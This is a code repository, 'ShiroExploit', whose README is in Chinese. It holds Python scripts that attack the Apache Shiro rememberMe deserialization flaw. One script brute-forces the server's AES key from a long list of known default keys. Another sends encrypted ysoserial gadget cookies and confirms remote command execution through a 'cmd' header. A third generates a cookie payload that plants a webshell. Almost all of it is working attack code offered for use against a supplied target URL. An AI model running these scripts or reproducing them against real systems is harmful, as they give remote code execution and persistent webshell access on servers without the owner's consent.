├── README.md ├── shiroEcho.py ├── shiroGetKey.py └── shiroWebshell.py /README.md: -------------------------------------------------------------------------------- 1 | # ShiroExploit 2 | 使用和讲解链接在此: 3 | [深入利用Shiro反序列化漏洞 ](https://xz.aliyun.com/t/8445) 4 | 5 | 自定义的ysoserial.jar包在此: 6 | https://github.com/Echox1/ShiroExploit/releases/tag/v1.0 7 | -------------------------------------------------------------------------------- /shiroEcho.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -* 2 | #author:Escape 3 | import json 4 | import os 5 | import time 6 | import sys 7 | import base64 8 | import uuid 9 | import argparse 10 | import subprocess 11 | import requests 12 | from Crypto.Cipher import AES 13 | 14 | 15 | 16 | 17 | def parser_error(errmsg): 18 | print("Usage: python " + sys.argv[0] + " [Options] use -h for help\r\n All parameters are required") 19 | sys.exit() 20 | 21 | def payload(target,ciphertype,assembly): 22 | #assembly = 'CommonsCollections2Echo' 23 | #assembly = 'CommonsBeanutils1Echo' 24 | 25 | keys = [ 26 | "fCq+/xW488hMTCD+cmJ3aQ==", 27 | "4AvVhmFLUs0KTA3Kprsdag==", 28 | "3AvVhmFLUs0KTA3Kprsdag==", 29 | "Z3VucwAAAAAAAAAAAAAAAA==", 30 | "2AvVhdsgUs0FSA3SDFAdag==", 31 | "wGiHplamyXlVB11UXWol8g==", 32 | "kPH+bIxk5D2deZiIxcaaaA==", 33 | "1QWLxg+NYmxraMoxAXu/Iw==", 34 | "ZUdsaGJuSmxibVI2ZHc9PQ==", 35 | "L7RioUULEFhRyxM7a2R/Yg==", 36 | "6ZmI6I2j5Y+R5aSn5ZOlAA==", 37 | "r0e3c16IdVkouZgk1TKVMg==", 38 | "5aaC5qKm5oqA5pyvAAAAAA==", 39 | "bWluZS1hc3NldC1rZXk6QQ==", 40 | "a2VlcE9uR29pbmdBbmRGaQ==", 41 | "WcfHGU25gNnTxTlmJMeSpw==", 42 | "3AvVhmFLUs0KTA3Kprsdag==", 43 | ] 44 | 45 | popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', assembly, 'echo'], stdout=subprocess.PIPE) 46 | file_body = popen.stdout.read() 47 | 48 | for key in keys: 49 | if ciphertype == 'GCM': 50 | base64_ciphertext = GCMCipher(key,file_body) 51 | try: 52 | header = {'cmd': 'echo testShiro'} 53 | #print(len(base64_ciphertext.decode())) 54 | r = requests.get(target, headers=header, cookies={'rememberMe': base64_ciphertext.decode()},timeout=20,verify=False, stream=True) 55 | #r.text 56 | if 'testShiro' in r.text: 57 | print("key is "+key+"\r\npayload is rememberMe="+base64_ciphertext.decode()) 58 | #break 59 | except Exception as e: 60 | print(str(e)) 61 | 62 | 63 | if ciphertype == 'CBC': 64 | base64_ciphertext = CBCCipher(key,file_body) 65 | try: 66 | header = {'cmd': 'echo testShiro'} 67 | r = requests.get(target, headers=header, cookies={'rememberMe': base64_ciphertext.decode()},timeout=20,verify=False, stream=True) 68 | #r.text 69 | if 'testShiro' in r.text: 70 | print("key is "+key+"\r\npayload is rememberMe="+base64_ciphertext.decode()) 71 | break 72 | except Exception as e: 73 | print(str(e)) 74 | 75 | 76 | #1.4.2及以上版本使用GCM加密 77 | def GCMCipher(key,file_body): 78 | iv = os.urandom(16) 79 | cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv) 80 | ciphertext, tag = cipher.encrypt_and_digest(file_body) 81 | ciphertext = ciphertext + tag 82 | base64_ciphertext = base64.b64encode(iv + ciphertext) 83 | return base64_ciphertext 84 | 85 | 86 | def CBCCipher(key,file_body): 87 | BS = AES.block_size 88 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 89 | mode = AES.MODE_CBC 90 | iv = uuid.uuid4().bytes 91 | file_body = pad(file_body) 92 | encryptor = AES.new(base64.b64decode(key), mode, iv) 93 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 94 | return base64_ciphertext 95 | 96 | if __name__ == '__main__': 97 | parser = argparse.ArgumentParser() 98 | parser.error = parser_error 99 | parser._optionals.title = "OPTIONS" 100 | parser.add_argument('-U', '--url', help="target url", required=True) 101 | parser.add_argument('-T', '--ciphertype', help='CipherType, GCM or CBC', required=True) 102 | parser.add_argument('-M', '--gadget', help='ysoserial gadget', required=True) 103 | args = parser.parse_args() 104 | if '://' not in args.url: 105 | target = 'https://%s' % args.url if ':443' in args.url else 'http://%s' % args.url 106 | else: 107 | target = args.url 108 | 109 | payload(target, args.ciphertype, args.gadget) 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /shiroGetKey.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | import os 4 | import argparse 5 | import re 6 | import base64 7 | import sys 8 | import uuid 9 | import subprocess 10 | import requests 11 | import urllib3 12 | from Crypto.Cipher import AES 13 | 14 | PROXY = {} 15 | myheader = { 16 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0', 17 | } 18 | JAR_FILE = 'ysoserial-0.0.6-SNAPSHOT-all.jar' 19 | 20 | keys = [ 21 | 22 | "4AvVhmFLUs0KTA3Kprsdag==", 23 | "kPH+bIxk5D2deZiIxcaaaA==", 24 | "Z3VucwAAAAAAAAAAAAAAAA==", 25 | "fCq+/xW488hMTCD+cmJ3aQ==", 26 | "0AvVhmFLUs0KTA3Kprsdag==", 27 | "1AvVhdsgUs0FSA3SDFAdag==", 28 | "1QWLxg+NYmxraMoxAXu/Iw==", 29 | "25BsmdYwjnfcWmnhAciDDg==", 30 | "2AvVhdsgUs0FSA3SDFAdag==", 31 | "3AvVhmFLUs0KTA3Kprsdag==", 32 | "3JvYhmBLUs0ETA5Kprsdag==", 33 | "r0e3c16IdVkouZgk1TKVMg==", 34 | "5aaC5qKm5oqA5pyvAAAAAA==", 35 | "5AvVhmFLUs0KTA3Kprsdag==", 36 | "6AvVhmFLUs0KTA3Kprsdag==", 37 | "6NfXkC7YVCV5DASIrEm1Rg==", 38 | "6ZmI6I2j5Y+R5aSn5ZOlAA==", 39 | "cmVtZW1iZXJNZQAAAAAAAA==", 40 | "7AvVhmFLUs0KTA3Kprsdag==", 41 | "8AvVhmFLUs0KTA3Kprsdag==", 42 | "8BvVhmFLUs0KTA3Kprsdag==", 43 | "9AvVhmFLUs0KTA3Kprsdag==", 44 | "OUHYQzxQ/W9e/UjiAGu6rg==", 45 | "a3dvbmcAAAAAAAAAAAAAAA==", 46 | "aU1pcmFjbGVpTWlyYWNsZQ==", 47 | "bWljcm9zAAAAAAAAAAAAAA==", 48 | "bWluZS1hc3NldC1rZXk6QQ==", 49 | "bXRvbnMAAAAAAAAAAAAAAA==", 50 | "ZUdsaGJuSmxibVI2ZHc9PQ==", 51 | "wGiHplamyXlVB11UXWol8g==", 52 | "U3ByaW5nQmxhZGUAAAAAAA==", 53 | "MTIzNDU2Nzg5MGFiY2RlZg==", 54 | "L7RioUULEFhRyxM7a2R/Yg==", 55 | "a2VlcE9uR29pbmdBbmRGaQ==", 56 | "WcfHGU25gNnTxTlmJMeSpw==", 57 | "OY//C4rhfwNxCQAQCrQQ1Q==", 58 | "5J7bIJIV0LQSN3c9LPitBQ==", 59 | "f/SY5TIve5WWzT4aQlABJA==", 60 | "bya2HkYo57u6fWh5theAWw==", 61 | "WuB+y2gcHRnY2Lg9+Aqmqg==", 62 | "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", 63 | "3qDVdLawoIr1xFd6ietnwg==", 64 | "YI1+nBV//m7ELrIyDHm6DQ==", 65 | "6Zm+6I2j5Y+R5aS+5ZOlAA==", 66 | "2A2V+RFLUs+eTA3Kpr+dag==", 67 | "6ZmI6I2j3Y+R1aSn5BOlAA==", 68 | "SkZpbmFsQmxhZGUAAAAAAA==", 69 | "2cVtiE83c4lIrELJwKGJUw==", 70 | "fsHspZw/92PrS3XrPW+vxw==", 71 | "XTx6CKLo/SdSgub+OPHSrw==", 72 | "sHdIjUN6tzhl8xZMG3ULCQ==", 73 | "O4pdf+7e+mZe8NyxMTPJmQ==", 74 | "HWrBltGvEZc14h9VpMvZWw==", 75 | "rPNqM6uKFCyaL10AK51UkQ==", 76 | "Y1JxNSPXVwMkyvES/kJGeQ==", 77 | "lT2UvDUmQwewm6mMoiw4Ig==", 78 | "MPdCMZ9urzEA50JDlDYYDg==", 79 | "xVmmoltfpb8tTceuT5R7Bw==", 80 | "c+3hFGPjbgzGdrC+MHgoRQ==", 81 | "ClLk69oNcA3m+s0jIMIkpg==", 82 | "Bf7MfkNR0axGGptozrebag==", 83 | "1tC/xrDYs8ey+sa3emtiYw==", 84 | "ZmFsYWRvLnh5ei5zaGlybw==", 85 | "cGhyYWNrY3RmREUhfiMkZA==", 86 | "IduElDUpDDXE677ZkhhKnQ==", 87 | "yeAAo1E8BOeAYfBlm4NG9Q==", 88 | "cGljYXMAAAAAAAAAAAAAAA==", 89 | "2itfW92XazYRi5ltW0M2yA==", 90 | "XgGkgqGqYrix9lI6vxcrRw==", 91 | "ertVhmFLUs0KTA3Kprsdag==", 92 | "5AvVhmFLUS0ATA4Kprsdag==", 93 | "s0KTA3mFLUprK4AvVhsdag==", 94 | "hBlzKg78ajaZuTE0VLzDDg==", 95 | "9FvVhtFLUs0KnA3Kprsdyg==", 96 | "d2ViUmVtZW1iZXJNZUtleQ==", 97 | "yNeUgSzL/CfiWw1GALg6Ag==", 98 | "NGk/3cQ6F5/UNPRh8LpMIg==", 99 | "4BvVhmFLUs0KTA3Kprsdag==", 100 | "MzVeSkYyWTI2OFVLZjRzZg==", 101 | "empodDEyMwAAAAAAAAAAAA==", 102 | "A7UzJgh1+EWj5oBFi+mSgw==", 103 | "c2hpcm9fYmF0aXMzMgAAAA==", 104 | "i45FVt72K2kLgvFrJtoZRw==", 105 | "U3BAbW5nQmxhZGUAAAAAAA==", 106 | "ZnJlc2h6Y24xMjM0NTY3OA==", 107 | "Jt3C93kMR9D5e8QzwfsiMw==", 108 | "MTIzNDU2NzgxMjM0NTY3OA==", 109 | "vXP33AonIp9bFwGl7aT7rA==", 110 | "V2hhdCBUaGUgSGVsbAAAAA==", 111 | "Q01TX0JGTFlLRVlfMjAxOQ==", 112 | "ZAvph3dsQs0FSL3SDFAdag==", 113 | "Is9zJ3pzNh2cgTHB4ua3+Q==", 114 | "NsZXjXVklWPZwOfkvk6kUA==", 115 | "GAevYnznvgNCURavBhCr1w==", 116 | "66v1O8keKNV3TTcGPK1wzg==", 117 | "SDKOLKn2J1j/2BHjeZwAoQ==" 118 | ] 119 | 120 | checkdata = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" 121 | 122 | 123 | def getKey(url,ciphertype): 124 | 125 | r1 = requests.get(target, cookies={'rememberMe': "123"}, timeout=10, proxies=PROXY, 126 | verify=False, headers=myheader,allow_redirects=False) 127 | rsp1=len(str(r1.headers)) 128 | 129 | try: 130 | for key in keys: 131 | print("[-] start key: {0}".format(key)) 132 | if ciphertype == 'CBC': 133 | payload = CBCCipher(key,base64.b64decode(checkdata)) 134 | if ciphertype == 'GCM': 135 | payload = GCMCipher(key,base64.b64decode(checkdata)) 136 | 137 | payload = payload.decode() 138 | #print(payload) 139 | r = requests.get(target, cookies={'rememberMe': payload}, timeout=10, proxies=PROXY, 140 | verify=False, headers=myheader,allow_redirects=False) # 发送验证请求 141 | rsp = len(str(r.headers)) 142 | if rsp1 != rsp and r.status_code != 400: 143 | print("!! Get key: {0}".format(key)) 144 | exit() 145 | except Exception as e: 146 | print(e) 147 | pass 148 | return False 149 | 150 | #1.4.2及以上版本使用GCM加密 151 | def GCMCipher(key,file_body): 152 | iv = os.urandom(16) 153 | cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv) 154 | ciphertext, tag = cipher.encrypt_and_digest(file_body) 155 | ciphertext = ciphertext + tag 156 | base64_ciphertext = base64.b64encode(iv + ciphertext) 157 | return base64_ciphertext 158 | 159 | 160 | def CBCCipher(key,file_body): 161 | BS = AES.block_size 162 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 163 | mode = AES.MODE_CBC 164 | iv = uuid.uuid4().bytes 165 | file_body = pad(file_body) 166 | encryptor = AES.new(base64.b64decode(key), mode, iv) 167 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 168 | return base64_ciphertext 169 | 170 | 171 | if __name__ == '__main__': 172 | parser = argparse.ArgumentParser() 173 | #parser.error = parser_error 174 | parser._optionals.title = "OPTIONS" 175 | parser.add_argument('-U', '--url', help="target url", required=True) 176 | parser.add_argument('-T', '--ciphertype', help='CipherType, GCM or CBC', required=True) 177 | args = parser.parse_args() 178 | if '://' not in args.url: 179 | target = 'https://%s' % args.url if ':443' in args.url else 'http://%s' % args.url 180 | else: 181 | target = args.url 182 | 183 | 184 | getKey(target,args.ciphertype) 185 | 186 | 187 | -------------------------------------------------------------------------------- /shiroWebshell.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | import os 4 | import argparse 5 | import re 6 | import base64 7 | import sys 8 | import uuid 9 | import subprocess 10 | import requests 11 | import urllib3 12 | from Crypto.Cipher import AES 13 | 14 | 15 | 16 | def getClassLoader(assembly,ciphertype,key): 17 | popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', assembly, 'webshell'], stdout=subprocess.PIPE) 18 | file_body = popen.stdout.read() 19 | try: 20 | if ciphertype == 'GCM': 21 | base64_ciphertext = GCMCipher(key,file_body) 22 | print("payload is \r\nrememberMe="+base64_ciphertext.decode()) 23 | 24 | if ciphertype == 'CBC': 25 | base64_ciphertext = CBCCipher(key,file_body) 26 | print("payload is \r\nrememberMe="+base64_ciphertext.decode()) 27 | 28 | except Exception as e: 29 | print(e) 30 | pass 31 | 32 | 33 | #1.4.2及以上版本使用GCM加密 34 | def GCMCipher(key,file_body): 35 | iv = os.urandom(16) 36 | cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv) 37 | ciphertext, tag = cipher.encrypt_and_digest(file_body) 38 | ciphertext = ciphertext + tag 39 | base64_ciphertext = base64.b64encode(iv + ciphertext) 40 | return base64_ciphertext 41 | 42 | 43 | def CBCCipher(key,file_body): 44 | BS = AES.block_size 45 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 46 | mode = AES.MODE_CBC 47 | iv = uuid.uuid4().bytes 48 | file_body = pad(file_body) 49 | encryptor = AES.new(base64.b64decode(key), mode, iv) 50 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 51 | return base64_ciphertext 52 | 53 | 54 | if __name__ == '__main__': 55 | parser = argparse.ArgumentParser() 56 | #parser.error = parser_error 57 | parser._optionals.title = "OPTIONS" 58 | parser.add_argument('-M', '--gadget', help='ysoserial gadget', required=True) 59 | parser.add_argument('-T', '--ciphertype', help='CipherType, GCM or CBC', required=True) 60 | parser.add_argument('-K', '--key', help='key', required=True) 61 | args = parser.parse_args() 62 | 63 | 64 | 65 | getClassLoader(args.gadget,args.ciphertype,args.key) 66 | 67 | 68 | --------------------------------------------------------------------------------